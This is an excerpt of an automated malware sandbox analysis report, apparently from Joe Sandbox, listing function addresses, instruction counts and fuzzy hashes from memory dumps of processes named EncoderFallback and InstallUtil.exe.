Instruction Fuzzy Hash: 94F0F874900159CFDB64DF60D990B9DB7F9AF44300F50C5EA850EB7240DA32AE82CF10

Function 05D25B20 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fb18b07f7eda787009d466bbfbc14365041101a6479cd3d86cb762f8027c365
Instruction ID: 493e70adf139ccb3ee7b8a8cc5bfc720d5b4985e561605c39f4a59c3eb85b6ca
Opcode Fuzzy Hash: 3fb18b07f7eda787009d466bbfbc14365041101a6479cd3d86cb762f8027c365
Instruction Fuzzy Hash: B2E0E574D08218EFDB14DF98D540AACBFB9AB5A215F2080AAD858A7381D6319A52DB80

Function 0123E5E8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89230612dff77f5f07595b640a63ecd812ef23b6ee8c2384c56e2605c7935b55
Instruction ID: 18f26cb09a2282893d0d7ee7d8b3b86848b62043556cd7238395783a779b9e81
Opcode Fuzzy Hash: 89230612dff77f5f07595b640a63ecd812ef23b6ee8c2384c56e2605c7935b55
Instruction Fuzzy Hash: 10E026B4808218EFD704CFD8D50196CFFBCAB85300F1080E9D80857381C6319E42EF90

Function 05D22E9E Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde4a3bee7e9e56ac501aa6091335451e52385e8fcab995d217452ee8f95bdb2
Instruction ID: f135b6454db78b0f1694e6efa6bfdfbf480e4454f4d3e8cd6b5e27a027e991d1
Opcode Fuzzy Hash: dde4a3bee7e9e56ac501aa6091335451e52385e8fcab995d217452ee8f95bdb2
Instruction Fuzzy Hash: 74F0A57180461A9BCF119F94C804AD9B772FF99315F108685A55977224DB30AAD5CF90

Function 07398B50 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2778438306.0000000007380000.00000040.00000800.00020000.00000000.sdmp, Offset: 07380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7380000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 186815a50257f5a2ebc7f60ba88a7dd2cac5a0813e54cb54363e582577515fcd
Instruction ID: 288821298eb73a6ad2139c382f146ff8b63ce2cd83d4a51646c1222b78af2080
Opcode Fuzzy Hash: 186815a50257f5a2ebc7f60ba88a7dd2cac5a0813e54cb54363e582577515fcd
Instruction Fuzzy Hash: D5E01AB4D04208EFDB14DF98D5406ACBBF8AB89210F1480E9C81857381C6319A42DB84

Function 05D265D0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction ID: 11410e57ab557a07ed6dc5d6b6865221e4305fbce5cb1142c9edeff6ac0105aa
Opcode Fuzzy Hash: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction Fuzzy Hash: C1E08C74908208DBDB08DFA4D94056CBBB8AB45308F2081EDC81817385CA31DE42CB80

Function 05D207C8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction ID: 4fc2cb1880e97aa530eb7e54fc6a43fa72d80d7e49db2e8a44b93c0326f5e93f
Opcode Fuzzy Hash: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction Fuzzy Hash: BCE08C34909208DBD708DF94D94896CBBB8AB45304F2080E9C81817381CA31AE42CB80

Function 05D20568 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42cb4eaaf2b9f02abf0685ed61f1febd0ddc20d9be743f0e9f70f30085c8557c
Instruction ID: 052d09dac836c040c5253ef5118c60933864135b15233f98c36e97596a90da65
Opcode Fuzzy Hash: 42cb4eaaf2b9f02abf0685ed61f1febd0ddc20d9be743f0e9f70f30085c8557c
Instruction Fuzzy Hash: 64E0C2B180110CEFD750EFF4850065E7BF8AB45200F0004E6C00997250EA314A009792

Function 05D27090 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction ID: 97ca0faafcfbb2ffbe17cfd161f8a96f3bf571bd5b58ee0d4eb9cf970cac73e0
Opcode Fuzzy Hash: fde83bcb377614d441dab5c114fde016c3d26782979b3d31e7eebe69cc445ab0
Instruction Fuzzy Hash: 60E0C274D08208DBD718DFD4DA4056CBFB8FB85304F2080E9C80817385CA329E87CB81

Function 0123CE50 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37a3c33a5fbda2f1966ef1b74ec708014b1ebea59e250ce73caabd9b6e40ec2
Instruction ID: e89c6cb86c9c33458fc98d62f994796fcba21df844cc8bd4257a7fd683917a31
Opcode Fuzzy Hash: e37a3c33a5fbda2f1966ef1b74ec708014b1ebea59e250ce73caabd9b6e40ec2
Instruction Fuzzy Hash: 06E08CB1800208DBE704EFF8C904A4A7BF9EB05201F0001E5D20993251EB314A1097A2

Function 0739B6B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2778438306.0000000007380000.00000040.00000800.00020000.00000000.sdmp, Offset: 07380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7380000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce7a7a519e0e404d2504e01d01741d71a26f7092051b9fd7bb8a17c317866cc4
Instruction ID: a4824022c028ecad2d903db0ab3b7d44b66569c58b7002f046e865a8b00a93ef
Opcode Fuzzy Hash: ce7a7a519e0e404d2504e01d01741d71a26f7092051b9fd7bb8a17c317866cc4
Instruction Fuzzy Hash: 5FE012F180110CDFE754FFF4950065E7BF99B45201F1004F5D50997250EA315A5497A2

Function 0739E2B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2778438306.0000000007380000.00000040.00000800.00020000.00000000.sdmp, Offset: 07380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7380000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff2c4ba2670405558810f6e39d01da94147bdf1d44708c2b6059f99252ba406
Instruction ID: 7f3cf731677ac108d8c08c5c7e17b98f413ae7cb2afcd484c9d415d0212bd8b5
Opcode Fuzzy Hash: eff2c4ba2670405558810f6e39d01da94147bdf1d44708c2b6059f99252ba406
Instruction Fuzzy Hash: D8E08CB590820CDBEB08EBD4D5406ACBBB8AB46300F2080ECC80817381C6329E42CB80

Function 01230848 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f2f6872aad52d943019cc7cb1cf4d7be0a81613c3836a53f2128c8a8b9a597a
Instruction ID: 5a4b8dce57ae7db663f3cfe4e651cee1948327b515797a3769548d417373644b
Opcode Fuzzy Hash: 1f2f6872aad52d943019cc7cb1cf4d7be0a81613c3836a53f2128c8a8b9a597a
Instruction Fuzzy Hash: E6D01730E05208EB8B04EFF8EA0159DB7F9EB49204B1081A9A409E7600EA316F409B81

Function 05D21BDF Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774733132.0000000005D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d20000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8161588c73e3a497ab00f2b5126de1a0297d0c1abfee13013549f730440930da
Instruction ID: f2a5fc17235994845a1616f89426e9894c2d5ec2026c58f02532c37b9f1d959e
Opcode Fuzzy Hash: 8161588c73e3a497ab00f2b5126de1a0297d0c1abfee13013549f730440930da
Instruction Fuzzy Hash: B2D01238604008EBCB00CE40D850C69B772EF95314B10C18AAC4917341C733DE13EA80

Function 0739E758 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2778438306.0000000007380000.00000040.00000800.00020000.00000000.sdmp, Offset: 07380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7380000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32e00506294160712f557471299414c1c3088546860f9f7773b07f13b10c34f4
Instruction ID: 6afd4798fefb7950de485733b1cefa7eee1b2ef0784adfeb6a351e843327204d
Opcode Fuzzy Hash: 32e00506294160712f557471299414c1c3088546860f9f7773b07f13b10c34f4
Instruction Fuzzy Hash: 82C08CF208A30986F628628463083303ADCA302A0AF0018A0851D004928AB08080C253

Function 0123CC80 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2753371991.0000000001230000.00000040.00000800.00020000.00000000.sdmp, Offset: 01230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1230000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e12d637fca2ce080465741e72b1e7eaacbb7512dda4ddac74206b49540426c2
Instruction ID: 5182e8151fc92409d4859bec81c83964b74a8c63cf19ad961906fdeaecadc3e1
Opcode Fuzzy Hash: 6e12d637fca2ce080465741e72b1e7eaacbb7512dda4ddac74206b49540426c2
Instruction Fuzzy Hash: 7EC08CB1000348CBF2A83BF8AA0D7283FEC6B00203F0000E0D36C900D1ABB040A0D7A6

Non-executed Functions

Function 05D3A2C0 Relevance: .2, Instructions: 224COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302d1665e6255cb8403d47c371f61eea2f811810ca1edfd0c1d95c7f39b2f7ae
Instruction ID: d014a3cc7bf788580037065ec75bc18aadd73a8286ac7a460f468236a51604bb
Opcode Fuzzy Hash: 302d1665e6255cb8403d47c371f61eea2f811810ca1edfd0c1d95c7f39b2f7ae
Instruction Fuzzy Hash: C8911470A04218CFDB54DFA8DA49BADBBF2FB4A314F20906AD489B7755DB349985CF00

Function 05D3A2B0 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a761546980a43bdb58b12c29f6ebb9aeefc5fc9059bcba68660da95aebd5955
Instruction ID: 1081289142c0c6adbd3da95b4e439307c4a802c87279a3e694f8cb16095509f9
Opcode Fuzzy Hash: 5a761546980a43bdb58b12c29f6ebb9aeefc5fc9059bcba68660da95aebd5955
Instruction Fuzzy Hash: 74911370A04218CFDB54DFA8DA49BADBBF2FB4A314F20906AD489B7755DB349985CF00

Function 05D3A61A Relevance: .2, Instructions: 215COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2774786006.0000000005D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 05D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5d30000_EncoderFallback.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0752569eb7b53ac539ef01730d989bf455b584eb31f30b55a62b0fa95301d2e3
Instruction ID: 2f55bdd3a2d6d5e9c2e40edb1f6cf6aa1dc1efb7850763f3e8ec6fb1c26cb89a
Opcode Fuzzy Hash: 0752569eb7b53ac539ef01730d989bf455b584eb31f30b55a62b0fa95301d2e3
Instruction Fuzzy Hash: DD911370E04218CFDB54DFA9DA45BADBBF2FB4A314F20906AD089A7759DB349885CF00

Analysis Process: InstallUtil.exePID: 5868, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	12.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	52
Total number of Limit Nodes:	6

Executed Functions

Function 00F7AA13 Relevance: 2.7, Instructions: 2746COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3b71b7c83e9b036ea0da3e1913cd9be7f37623300e70eb15197bfbbf6e4f9d6
Instruction ID: 4746bdf1ebd4d61e7888befe6c54cfa0933ed875b8f8d64fc67d1823be4e4961
Opcode Fuzzy Hash: e3b71b7c83e9b036ea0da3e1913cd9be7f37623300e70eb15197bfbbf6e4f9d6
Instruction Fuzzy Hash: BF53F531C10B1A8ACB51EF68C8806A9F7B1FF99310F51D79AE45877125FB70AAD4CB81

Function 00F7DBD8 Relevance: 2.3, Instructions: 2319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b529145b27846ac28a27401a3e5a6dd7f05b2ec8f13ae882997cd276924e8715
Instruction ID: 65937ae4dde37d8cf6a6c31974672a016b428777b7d7ccba511e77d2c18e5e8b
Opcode Fuzzy Hash: b529145b27846ac28a27401a3e5a6dd7f05b2ec8f13ae882997cd276924e8715
Instruction Fuzzy Hash: EA332D31D107198ECB11EF68C8806EDF7B1FF99310F55C69AE448A7225EB70AAC5CB81

Function 00F74178 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2eed6ac96973202c6ebb4110b1ef3db4b69107e67fef97fce56a775eae6f5ac
Instruction ID: da7475893e13dd880655d65cac9c8f34eced309811dd697c84baf8bd1c8a5391
Opcode Fuzzy Hash: b2eed6ac96973202c6ebb4110b1ef3db4b69107e67fef97fce56a775eae6f5ac
Instruction Fuzzy Hash: 49B13F70E00219CFDB14CFA9D88579DBBF2BF88714F14C12AE819A7254EB74A845EB42

Function 00F74A48 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e026198c6dc49c47d4cd8f79cd2759be7ded48a85b40cdc6c3326f0f360483d3
Instruction ID: 5bf17a24775765a41174af794dbbb4bbcb9e125a66bf6cb7f180e170df72efaa
Opcode Fuzzy Hash: e026198c6dc49c47d4cd8f79cd2759be7ded48a85b40cdc6c3326f0f360483d3
Instruction Fuzzy Hash: FCB15D70E00209CFDF10CFA9D89579DBBF2AF88714F14C52AD819E7294EB74A845DB82

Function 00F73E30 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d75d5b1d30d2f4695251822b10a5a3f00d776b0eed45211c724d9be5cf82f4df
Instruction ID: 6811d9287f60e7eb881cf2ae07d28be5ffa6157e15c7b9003eccf9db8fcf70a2
Opcode Fuzzy Hash: d75d5b1d30d2f4695251822b10a5a3f00d776b0eed45211c724d9be5cf82f4df
Instruction Fuzzy Hash: 8D915F70E00209DFDF14CFA9C9857DDBBF2AF88714F14C12AE409A7294DB749945EB92

Function 062CE888 Relevance: 1.6, APIs: 1, Instructions: 134
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3540099393.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_62c0000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8310bac2507e152e0fbe9696a7487e63bf4bd10320767fb43511b87574418c1
Instruction ID: ec4975cb9ec34f6a68db43a081b01839ce804fc7554a6a3cdc77c45be1d6f74e
Opcode Fuzzy Hash: c8310bac2507e152e0fbe9696a7487e63bf4bd10320767fb43511b87574418c1
Instruction Fuzzy Hash: 27413631D1439A8FCB10DFB9D80469EBFF5EF8A210F15866BE844A7241DB789844CBE1

Function 062CE970 Relevance: 1.6, APIs: 1, Instructions: 52
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 062CE9D7

Memory Dump Source

Source File: 00000007.00000002.3540099393.00000000062C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_62c0000_InstallUtil.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8c06a5a88ae18486630ea9b3ec4121c681eb8fee522ff315917232c9dafe75d4
Instruction ID: ff2044d2ba011843f4f0e549b298c1324be64055d4189f737b7ff6cf43e3ecc7
Opcode Fuzzy Hash: 8c06a5a88ae18486630ea9b3ec4121c681eb8fee522ff315917232c9dafe75d4
Instruction Fuzzy Hash: 271112B1C0065ADBDB10DFAAC544B9EFBF4AF48220F15816AD918A7240D378A944CFA5

Function 00F786E8 Relevance: .6, Instructions: 575
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82b64dc57f113309f1b4f2acc47ecc52e2a36c508980fca9292db717c8437859
Instruction ID: 2ac1833d3b4639b99740d72305ed23394ef4630b3e6b969521749628e286f991
Opcode Fuzzy Hash: 82b64dc57f113309f1b4f2acc47ecc52e2a36c508980fca9292db717c8437859
Instruction Fuzzy Hash: CE225E34704202DBDB15AB3CE4642AD37A3EBCA3A4B20496DE406CB395DF35ED46D791

Function 00F7A1D3 Relevance: .4, Instructions: 402
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e203278c065317253fb5a5bac28612d7d4a0c34c84aa194398e7360e32ea070
Instruction ID: 0fd59cab5cb395ca9889f8446ac22f6ee7053a7041d1212aba0686a4e839a389
Opcode Fuzzy Hash: 8e203278c065317253fb5a5bac28612d7d4a0c34c84aa194398e7360e32ea070
Instruction Fuzzy Hash: 48E1A134B00205CFDB14DF68E894AADB7B2EF89310F25846AE50ADB355DB31ED42DB52

Function 00F7416C Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71b4e9bea81f30b932ecf5bcfa916bb8f049a48b333b863cafda96e426aceb86
Instruction ID: 0a8bb5d2d572fa3eb897faaa231cb37ea7efea33187a721a61c10068ef09b1ea
Opcode Fuzzy Hash: 71b4e9bea81f30b932ecf5bcfa916bb8f049a48b333b863cafda96e426aceb86
Instruction Fuzzy Hash: 2DB13C70E00259CFDB10CFA9D88579DBBF1BF48714F14C12AE819E7294EB74A845EB92

Function 00F74A3C Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89e48781af73a4cf8dae2fb2a9cdc0bf2841577f1f7967e3b00b3aa88e47b85d
Instruction ID: 6ce3a9e88cfa67dd650ed05a28fcf9eea8a785500f8538563854987500fcd8ca
Opcode Fuzzy Hash: 89e48781af73a4cf8dae2fb2a9cdc0bf2841577f1f7967e3b00b3aa88e47b85d
Instruction Fuzzy Hash: FBA15E70E00219CFDB10CFA8D89579DBBF1BF88714F24C52AD858E7294EB74A845DB92

Function 00F73E24 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e317534738de85b2e765dd7e060527bab378c709367da8223d64d32c15e1ab
Instruction ID: c1a0918927f6f450fbf86a8d41db830d58c2a5363342189d11908be8d086d4ae
Opcode Fuzzy Hash: 50e317534738de85b2e765dd7e060527bab378c709367da8223d64d32c15e1ab
Instruction Fuzzy Hash: 2A916C70E00249DFDF14CFA9D9817DDBBF2AF88314F14C12AE408A7294DB749985EB92

Function 00F747C0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29b0cc4f342b936b30b4bc1dbd103e38b6afd93641e408039c0c2793f1f5c0f6
Instruction ID: dd16d3994d57e4fe8224f1941400656faa745a32a019cc0c3ea02b90de90b111
Opcode Fuzzy Hash: 29b0cc4f342b936b30b4bc1dbd103e38b6afd93641e408039c0c2793f1f5c0f6
Instruction Fuzzy Hash: 0C713C70E00749DFDF14CFA9C88579EBBF2AF88714F14C12AE419A7294DB74A841DB92

Function 00F747B5 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 071b1c8c8b543fe050db6000db1a50f901580981ed16bbae6f95d02dfc735123
Instruction ID: d7433be8049e2f92cbe5de6c2460d502bf0067b11e7f11e0b56cb395f748fa74
Opcode Fuzzy Hash: 071b1c8c8b543fe050db6000db1a50f901580981ed16bbae6f95d02dfc735123
Instruction Fuzzy Hash: 73712870E00649DFDB10CFA9C8817DEBBF1AF88714F14C12AE419A7294EB74A841DB92

Function 00F7A6B8 Relevance: .1, Instructions: 139COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd25cb194229f72e1bc646539406fc01a702ebe8c3df52a3719d90e7e537dc58
Instruction ID: c39c4c0489b91e06bd3310f36d653d40859844359465e2e513bb4c906c5f98b3
Opcode Fuzzy Hash: fd25cb194229f72e1bc646539406fc01a702ebe8c3df52a3719d90e7e537dc58
Instruction Fuzzy Hash: AE515871A01205CFDB54DF69E88479DFBB2FF88310F14C1AAEA089B386E7709945CB91

Function 00F76C8D Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b99a2966ef4fba2bbe48c6fecfcf37642e3dcf153a7b90188c9691ea1ea1c853
Instruction ID: ab58a3e8cf9e26cab213bcbf65af64448075d3c66fe68ce25698158bfec0432c
Opcode Fuzzy Hash: b99a2966ef4fba2bbe48c6fecfcf37642e3dcf153a7b90188c9691ea1ea1c853
Instruction Fuzzy Hash: C8512374E10618CFDB18CFA9C894B9DBBB1BF48310F14842AE819BB391DB74A844DF56

Function 00F76C98 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b264dfd8079198efd6b44d57156cc454ef1ec977d39025bf11eb19e1ace1d19
Instruction ID: 2b0e6267775d093e1080a3cf4d3bef023dc7ac58e4ae6e0b434c4915d65374b7
Opcode Fuzzy Hash: 0b264dfd8079198efd6b44d57156cc454ef1ec977d39025bf11eb19e1ace1d19
Instruction Fuzzy Hash: 31512574E10658CFDB24CFA9C844B9DBBB1BF48310F14851AE819BB351D774A844CF96

Function 00F76F23 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad63db7b1a8bbc272a0f18b26d98fc41b995d865cce44a1055468626e4031242
Instruction ID: 58a5e1c8f81c05059971a97538c96853ea7c8a8ef55c2b46b3320a0a32dd95f3
Opcode Fuzzy Hash: ad63db7b1a8bbc272a0f18b26d98fc41b995d865cce44a1055468626e4031242
Instruction Fuzzy Hash: EA414A34B14604CFDB14EB68D458AAD7BB1BF88714F20806AE406EB7A5DB75DC01DB62

Function 00F77D48 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3529775885.0000000000F70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_f70000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
